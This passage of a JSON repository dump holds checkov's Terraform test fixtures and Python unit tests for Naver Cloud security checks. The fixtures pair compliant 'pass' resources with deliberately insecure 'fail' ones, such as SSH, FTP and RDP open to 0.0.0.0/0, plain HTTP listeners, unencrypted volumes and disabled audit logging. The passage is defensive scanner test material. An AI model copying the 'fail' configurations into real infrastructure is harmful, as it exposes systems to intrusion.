    "content": "resource \"ncloud_lb_listener\" \"pass\" {\n  load_balancer_no = ncloud_lb.test.load_balancer_no\n  protocol = \"HTTPS\"\n  port = 80\n  target_group_no = ncloud_lb_target_group.test.target_group_no\n}\nresource \"ncloud_lb_listener\" \"fail\" {\n  load_balancer_no = ncloud_lb.test.load_balancer_no\n  protocol = \"HTTP\"\n  port = 80\n  target_group_no = ncloud_lb_target_group.test.target_group_no\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_LBNetworkPrivate/main.tf",
    "content": "resource \"ncloud_lb\" \"pass\" {\n  name = \"tf-lb-test\"\n  network_type = \"PRIVATE\"\n  type = \"APPLICATION\"\n  subnet_no_list = [ ncloud_subnet.test.subnet_no ]\n}\n\nresource \"ncloud_lb\" \"fail\" {\n  name = \"tf-lb-test\"\n  network_type = \"PUBLIC\"\n  type = \"APPLICATION\"\n  subnet_no_list = [ ncloud_subnet.test.subnet_no ]\n}\nresource \"ncloud_lb\" \"fail2\" {\n  name = \"tf-lb-test\"\n  type = \"APPLICATION\"\n  subnet_no_list = [ ncloud_subnet.test.subnet_no ]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_LBTargetGroupDefinesHealthCheck/main.tf",
    "content": "\nresource \"ncloud_lb_target_group\" \"pass\" {\n        vpc_no   = ncloud_vpc.main.vpc_no\n        protocol = \"HTTP\"\n        target_type = \"VSVR\"\n        port        = 8080\n        description = \"for test\"\n        health_check {\n          protocol = \"HTTP\"\n          http_method = \"GET\"\n          port           = 8080\n          url_path       = \"/monitor/l7check\"\n          cycle          = 30\n          up_threshold   = 2\n          down_threshold = 2\n        }\n        algorithm_type = \"RR\"\n}\nresource \"ncloud_lb_target_group\" \"fail\" {\n  vpc_no   = ncloud_vpc.main.vpc_no\n  protocol = \"HTTP\"\n  target_type = \"VSVR\"\n  port        = 8080\n  description = \"for test\"\n  algorithm_type = \"RR\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_LBTargetGroupUsingHTTPS/main.tf",
    "content": "resource \"ncloud_lb_target_group\" \"pass\" {\n  vpc_no   = ncloud_vpc.test.vpc_no\n  protocol = \"HTTPS\"\n  target_type = \"VSVR\"\n  port        = 8080\n  description = \"for test\"\n  health_check {\n    protocol = \"HTTP\"\n    http_method = \"GET\"\n    port           = 8080\n    url_path       = \"/monitor/l7check\"\n    cycle          = 30\n    up_threshold   = 2\n    down_threshold = 2\n  }\n  algorithm_type = \"RR\"\n}\nresource \"ncloud_lb_target_group\" \"fail\" {\n  vpc_no   = ncloud_vpc.test.vpc_no\n  protocol = \"HTTP\"\n  target_type = \"VSVR\"\n  port        = 8080\n  description = \"for test\"\n  health_check {\n    protocol = \"HTTP\"\n    http_method = \"GET\"\n    port           = 8080\n    url_path       = \"/monitor/l7check\"\n    cycle          = 30\n    up_threshold   = 2\n    down_threshold = 2\n  }\n  algorithm_type = \"RR\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_LaunchConfigurationEncryptionVPC/main.tf",
    "content": "resource \"ncloud_launch_configuration\" \"pass\" {\n  name = \"my-lc\"\n  server_image_product_code = \"SW.VSVR.OS.LNX64.CNTOS.0703.B050\"\n  server_product_code = \"SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002\"\n  is_encrypted_volume = true\n}\nresource \"ncloud_launch_configuration\" \"fail\" {\n  name = \"my-lc\"\n  server_image_product_code = \"SW.VSVR.OS.LNX64.CNTOS.0703.B050\"\n  server_product_code = \"SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NACLInbound20/main.tf",
    "content": "resource \"ncloud_network_acl_rule\" \"pass\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.3.0.0/18\"\n    port_range  = \"20\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"pass1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"222\"\n  }\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.0.0.0/32\"\n    port_range  = \"19-21\"\n  }\n\n  inbound {\n    priority    = 120\n    protocol    = \"TCP\"\n    rule_action = \"DROP\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"20\"\n  }\n\n    outbound {\n    priority    = 199\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"20\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"20\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"::/0\"\n    port_range  = \"20\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail2\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3-40\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NACLInbound21/main.tf",
    "content": "resource \"ncloud_network_acl_rule\" \"pass\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.3.0.0/18\"\n    port_range  = \"21\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"pass1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"222\"\n  }\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.0.0.0/32\"\n    port_range  = \"19-22\"\n  }\n\n  inbound {\n    priority    = 120\n    protocol    = \"TCP\"\n    rule_action = \"DROP\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"21\"\n  }\n\n    outbound {\n    priority    = 199\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"21\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"21\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"::/0\"\n    port_range  = \"21\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail2\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3-40\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NACLInbound22/main.tf",
    "content": "resource \"ncloud_network_acl_rule\" \"pass\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.3.0.0/18\"\n    port_range  = \"22\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"pass1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"222\"\n  }\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.0.0.0/32\"\n    port_range  = \"19-23\"\n  }\n\n  inbound {\n    priority    = 120\n    protocol    = \"TCP\"\n    rule_action = \"DROP\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"22\"\n  }\n\n    outbound {\n    priority    = 199\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"22\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"22\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"::/0\"\n    port_range  = \"22\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail2\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3-40\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NACLInbound3389/main.tf",
    "content": "resource \"ncloud_network_acl_rule\" \"pass\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.3.0.0/18\"\n    port_range  = \"3389\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"pass1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"222\"\n  }\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"10.0.0.0/32\"\n    port_range  = \"3380-3400\"\n  }\n\n  inbound {\n    priority    = 120\n    protocol    = \"TCP\"\n    rule_action = \"DROP\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3389\"\n  }\n\n    outbound {\n    priority    = 199\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3389\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3389\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"::/0\"\n    port_range  = \"3389\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail2\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 100\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    ip_block    = \"0.0.0.0/0\"\n    port_range  = \"3380-3400\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NACLPortCheck/main.tf",
    "content": "resource \"ncloud_network_acl_rule\" \"pass\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    deny_allow_group_no = ncloud_network_acl_deny_allow_group.deny_allow_group.id\n    port_range  = \"22\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"pass1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    deny_allow_group_no = ncloud_network_acl_deny_allow_group.deny_allow_group.id\n    port_range  = \"1-43\"\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    deny_allow_group_no = ncloud_network_acl_deny_allow_group.deny_allow_group.id\n  }\n}\n\nresource \"ncloud_network_acl_rule\" \"fail1\" {\n  network_acl_no    = ncloud_network_acl.nacl.id\n\n  inbound {\n    priority    = 110\n    protocol    = \"TCP\"\n    rule_action = \"ALLOW\"\n    deny_allow_group_no = ncloud_network_acl_deny_allow_group.deny_allow_group.id\n    port_range  = \"1-65535\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NASEncryptionEnabled/main.tf",
    "content": "resource \"ncloud_nas_volume\" \"pass\" {\n    volume_name_postfix = \"vol\"\n    volume_size = \"600\"\n    volume_allotment_protocol_type = \"NFS\"\n    is_encrypted_volume = true\n}\n\nresource \"ncloud_nas_volume\" \"fail\" {\n    volume_name_postfix = \"vol\"\n    volume_size = \"600\"\n    volume_allotment_protocol_type = \"NFS\"\n}\n\nresource \"ncloud_nas_volume\" \"fail2\" {\n    volume_name_postfix = \"vol\"\n    volume_size = \"600\"\n    volume_allotment_protocol_type = \"NFS\"\n    is_encrypted_volume = false\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NKSControlPlaneLogging/main.tf",
    "content": "resource \"ncloud_nks_cluster\" \"pass\" {\n  cluster_type                = \"SVR.VNKS.STAND.C002.M008.NET.SSD.B050.G002\"\n  k8s_version                 = data.ncloud_nks_versions.version.versions.0.value\n  login_key_name              = ncloud_login_key.loginkey.key_name\n  name                        = \"sample-cluster\"\n  lb_private_subnet_no        = ncloud_subnet.subnet_lb.id\n  kube_network_plugin         = \"cilium\"\n  subnet_no_list              = [ ncloud_subnet.subnet.id ]\n  vpc_no                      = ncloud_vpc.vpc.id\n  zone                        = \"KR-1\"\n  public_network = false\n  log {\n    audit = true\n  }\n}\nresource \"ncloud_nks_cluster\" \"fail\" {\n  cluster_type                = \"SVR.VNKS.STAND.C002.M008.NET.SSD.B050.G002\"\n  k8s_version                 = data.ncloud_nks_versions.version.versions.0.value\n  login_key_name              = ncloud_login_key.loginkey.key_name\n  name                        = \"sample-cluster\"\n  lb_private_subnet_no        = ncloud_subnet.subnet_lb.id\n  kube_network_plugin         = \"cilium\"\n  subnet_no_list              = [ ncloud_subnet.subnet.id ]\n  vpc_no                      = ncloud_vpc.vpc.id\n  zone                        = \"KR-1\"\n  public_network = false\n  log {\n    audit = false\n  }\n}\nresource \"ncloud_nks_cluster\" \"fail2\" {\n  cluster_type                = \"SVR.VNKS.STAND.C002.M008.NET.SSD.B050.G002\"\n  k8s_version                 = data.ncloud_nks_versions.version.versions.0.value\n  login_key_name              = ncloud_login_key.loginkey.key_name\n  name                        = \"sample-cluster\"\n  lb_private_subnet_no        = ncloud_subnet.subnet_lb.id\n  kube_network_plugin         = \"cilium\"\n  subnet_no_list              = [ ncloud_subnet.subnet.id ]\n  vpc_no                      = ncloud_vpc.vpc.id\n  zone                        = \"KR-1\"\n  public_network = false\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_NKSPublicAccess/main.tf",
    "content": "resource \"ncloud_nks_cluster\" \"pass\" {\n  cluster_type                = \"SVR.VNKS.STAND.C002.M008.NET.SSD.B050.G002\"\n  k8s_version                 = data.ncloud_nks_versions.version.versions.0.value\n  login_key_name              = ncloud_login_key.loginkey.key_name\n  name                        = \"sample-cluster\"\n  lb_private_subnet_no        = ncloud_subnet.subnet_lb.id\n  kube_network_plugin         = \"cilium\"\n  subnet_no_list              = [ ncloud_subnet.subnet.id ]\n  vpc_no                      = ncloud_vpc.vpc.id\n  zone                        = \"KR-1\"\n  public_network = false\n  log {\n    audit = true\n  }\n}\nresource \"ncloud_nks_cluster\" \"pass2\" {\n  cluster_type                = \"SVR.VNKS.STAND.C002.M008.NET.SSD.B050.G002\"\n  k8s_version                 = data.ncloud_nks_versions.version.versions.0.value\n  login_key_name              = ncloud_login_key.loginkey.key_name\n  name                        = \"sample-cluster\"\n  lb_private_subnet_no        = ncloud_subnet.subnet_lb.id\n  kube_network_plugin         = \"cilium\"\n  subnet_no_list              = [ ncloud_subnet.subnet.id ]\n  vpc_no                      = ncloud_vpc.vpc.id\n  zone                        = \"KR-1\"\n  log {\n    audit = true\n  }\n}\nresource \"ncloud_nks_cluster\" \"fail\" {\n  cluster_type                = \"SVR.VNKS.STAND.C002.M008.NET.SSD.B050.G002\"\n  k8s_version                 = data.ncloud_nks_versions.version.versions.0.value\n  login_key_name              = ncloud_login_key.loginkey.key_name\n  name                        = \"sample-cluster\"\n  lb_private_subnet_no        = ncloud_subnet.subnet_lb.id\n  kube_network_plugin         = \"cilium\"\n  subnet_no_list              = [ ncloud_subnet.subnet.id ]\n  vpc_no                      = ncloud_vpc.vpc.id\n  zone                        = \"KR-1\"\n  public_network = true\n  log {\n    audit = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_RouteTableNATGatewayDefault/main.tf",
    "content": "resource \"ncloud_vpc\" \"vpc\" {\n  name            = \"vpc\"\n  ipv4_cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"ncloud_route_table\" \"route_table\" {\n  vpc_no                = ncloud_vpc.vpc.id\n  supported_subnet_type = \"PUBLIC\"\n}\n\nresource \"ncloud_nat_gateway\" \"nat_gateway\" {\n  vpc_no = ncloud_vpc.vpc.id\n  zone   = \"KR-2\"\n}\n\nresource \"ncloud_route\" \"pass\" {\n  route_table_no         = ncloud_route_table.route_table.id\n  destination_cidr_block = \"0.0.0.0/0\"\n  target_type            = \"NATGW\"  // NATGW (NAT Gateway) | VPCPEERING (VPC Peering) | VGW (Virtual Private Gateway).\n  target_name            = ncloud_nat_gateway.nat_gateway.name\n  target_no              = ncloud_nat_gateway.nat_gateway.id\n}\n\nresource \"ncloud_route\" \"fail\" {\n  route_table_no         = ncloud_route_table.route_table.id\n  destination_cidr_block = \"0.0.0.1/0\"\n  target_type            = \"NATGW\"  // NATGW (NAT Gateway) | VPCPEERING (VPC Peering) | VGW (Virtual Private Gateway).\n  target_name            = ncloud_nat_gateway.nat_gateway.name\n  target_no              = ncloud_nat_gateway.nat_gateway.id\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_ServerEncryptionVPC/main.tf",
    "content": "resource \"ncloud_server\" \"pass\" {\n  subnet_no                 = ncloud_subnet.test.id\n  name                      = \"my-tf-server\"\n  server_image_product_code = \"SW.VSVR.OS.LNX64.CNTOS.0703.B050\"\n  server_product_code = \"SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002\"\n  login_key_name            = ncloud_login_key.loginkey.key_name\n  is_encrypted_base_block_storage_volume = true\n}\nresource \"ncloud_server\" \"fail\" {\n  subnet_no                 = ncloud_subnet.test.id\n  name                      = \"my-tf-server\"\n  server_image_product_code = \"SW.VSVR.OS.LNX64.CNTOS.0703.B050\"\n  server_product_code = \"SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002\"\n  login_key_name            = ncloud_login_key.loginkey.key_name\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/example_ServerPublicIP/main.tf",
    "content": "resource \"ncloud_server\" \"server\" {\n  subnet_no                 = ncloud_subnet.test.id\n  name                      = \"my-tf-server\"\n  server_image_product_code = \"SW.VSVR.OS.LNX64.CNTOS.0703.B050\"\n  server_product_code       = \"SVR.VSVR.HICPU.C002.M004.NET.SSD.B050.G002\"\n  login_key_name            = ncloud_login_key.loginkey.key_name\n}\n\nresource \"ncloud_public_ip\" \"pass\" {\n}\n\nresource \"ncloud_public_ip\" \"fail\" {\n  server_instance_no = ncloud_server.server.instance_no\n}\n\nresource \"ncloud_public_ip\" \"fail2\" {\n  server_instance_no = \"551212\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_AccessControlGroupInboundRulePort22.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRulePort22 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAccessControlGroupInboundRulePort22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AccessControlGroupInboundRulePort22\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_access_control_group_rule.pass\",\n            \"ncloud_access_control_group_rule.pass2\",\n        }\n        failing_resources = {\n            \"ncloud_access_control_group_rule.fail\",\n            \"ncloud_access_control_group_rule.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_AccessControlGroupInboundRulePort3389.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRulePort3389 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAccessControlGroupInboundRulePort22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AccessControlGroupInboundRulePort3389\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_access_control_group_rule.pass\",\n            \"ncloud_access_control_group_rule.pass2\",\n        }\n        failing_resources = {\n            \"ncloud_access_control_group_rule.fail\",\n            \"ncloud_access_control_group_rule.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_AccessControlGroupInboundRulePort80.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.AccessControlGroupInboundRulePort80 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAccessControlGroupInboundRulePort22(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AccessControlGroupInboundRulePort80\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_access_control_group_rule.pass\",\n            \"ncloud_access_control_group_rule.pass2\",\n        }\n        failing_resources = {\n            \"ncloud_access_control_group_rule.fail\",\n            \"ncloud_access_control_group_rule.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_AccessControlGroupOutboundRule.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.AccessControlGroupOutboundRule import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAccessControlGroupOutboundRule(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AccessControlGroupOutboundRule\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_access_control_group_rule.pass\"\n        }\n        failing_resources = {\n            \"ncloud_access_control_group_rule.fail\",\n            \"ncloud_access_control_group_rule.fail1\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_AccessControlGroupRuleDescription.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.AccessControlGroupRuleDescription import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAccessControlGroupRuleDescription(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AccessControlGroupRuleDescription\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_access_control_group.pass\",\n            \"ncloud_access_control_group_rule.pass\",\n        }\n        failing_resources = {\n            \"ncloud_access_control_group.fail\",\n            \"ncloud_access_control_group_rule.fail\",\n            \"ncloud_access_control_group_rule.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_LBListenerUsesSecureProtocols.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.LBListenerUsesSecureProtocols import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBListenerUsesSecureProtocols(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LBListenerUsesSecureProtocols\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_lb_listener.pass\",\n        }\n        failing_resources = {\n            \"ncloud_lb_listener.fail\",\n            \"ncloud_lb_listener.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/ncp/test_LBListenerUsingHTTPS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.ncp.LBListenerUsingHTTPS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBListenerUsingHTTPS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LBListenerUsingHTTPS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"ncloud_lb_listener.pass\",\n        }\n        failing_resources = {\n            \"ncloud_lb_listener.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, 